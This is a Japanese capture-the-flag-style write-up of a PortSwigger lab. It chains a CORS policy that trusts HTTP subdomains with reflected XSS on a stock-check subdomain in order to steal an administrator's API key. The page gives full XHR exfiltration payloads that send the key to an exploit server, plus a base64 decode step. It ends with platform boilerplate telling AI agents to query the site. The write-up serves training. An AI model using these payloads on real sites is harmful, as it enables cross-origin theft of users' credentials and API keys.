> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/cors/cors-with-trusted-insecure-protocols.md).

# 信頼された安全でないプロトコルを伴う CORS

PortSwigger Web Security Academy のラボ向けメモ。信頼された安全でないプロトコルを伴う CORS に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 信頼された安全でないプロトコルを伴う CORS 脆弱性

サイトには脆弱な CORS 設定があり、すべてを信頼しています **サブドメイン**、使用していても **HTTP**。目的は、CORS 経由で管理者の API キーを取得し、それをオペレーティングサーバーへエクスフィルトレーションすることです。

提供された認証情報： `wiener:peter`。サイトには脆弱な CORS 設定があり、すべてを信頼しています **サブドメイン**、使用していても **HTTP**。目的は、CORS 経由で管理者の API キーを取得し、それをオペレーティングサーバーへエクスフィルトレーションすることです。

提供された認証情報： `wiener:peter`.

#### 観察事項

* ルートドメインは次で受け入れられます **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03b8f53f1d73d2248aa0817f6ef7b13481bc88b2%2F%7B753528B9-5C90-4408-9586-F6637353734E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**サブドメイン** の HTTP 版も受け入れられます:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5395fe07b351a15ed3029546ffa55a1bd63fa9ce%2F%7B57F2E23A-5484-40D4-8C5A-8906831F81CD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

stockcheck で特定されたサブドメイン:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de94abfb106a7d1b61d5d6bb18aa6678dfd83bed%2F%7B80D49520-3E5E-495C-A92D-68219230C80D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

この項目は反映します `productId` → \*\*HTML/JS\*\* インジェクションが可能:

```html
?productId=test&storeId=1
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb1a67546848c7608f36c8b764be42dbf912839%2F%7BED081033-61A4-462A-B337-F4FA02C27E26%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d57c6471c947230db0eed8aac3bf51509ee0999f%2F%7BB0C89E2A-DE59-44A0-B3C1-EDADA8CA1EFD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c39961c83547a93fc0bb0c42273093ead3d75e9%2F%7B09CEDAD3-B9FB-430C-AEC1-5E4B705090F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 悪用: 読み取り `/accountDetails` および持ち出し

使用する XHR スクリプト（サブドメイン経由で送信）:

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

スクリプトを `productId` 脆弱なサブドメインのパラメータへ注入する:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

以下の値で悪用する URL にリダイレクトする `apiKey` エンコードされたレスポンスを含む変数。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-922aeb0a58e86760f2acba38180b562cbeea7886%2F%7B1831EA33-51C0-474F-81CA-62F01D01AA52%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 被害者に送信するペイロード（URL エンコード版）

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* サーバー上で API キーを受信し、以下を介して悪用する `apiKey` パラメータ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a24ace683c7d5aa2bbd5e412105d9c5e6886543f%2F%7B8A3DE62E-6543-4074-BCEB-34162FD66695%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 次を使用してデコード:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41b05eb06e8c5bd008b05ca7a5cd7bb4fb68ac6e%2F%7BA9A610D7-9469-41E0-917E-99EBFCA3DEB4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
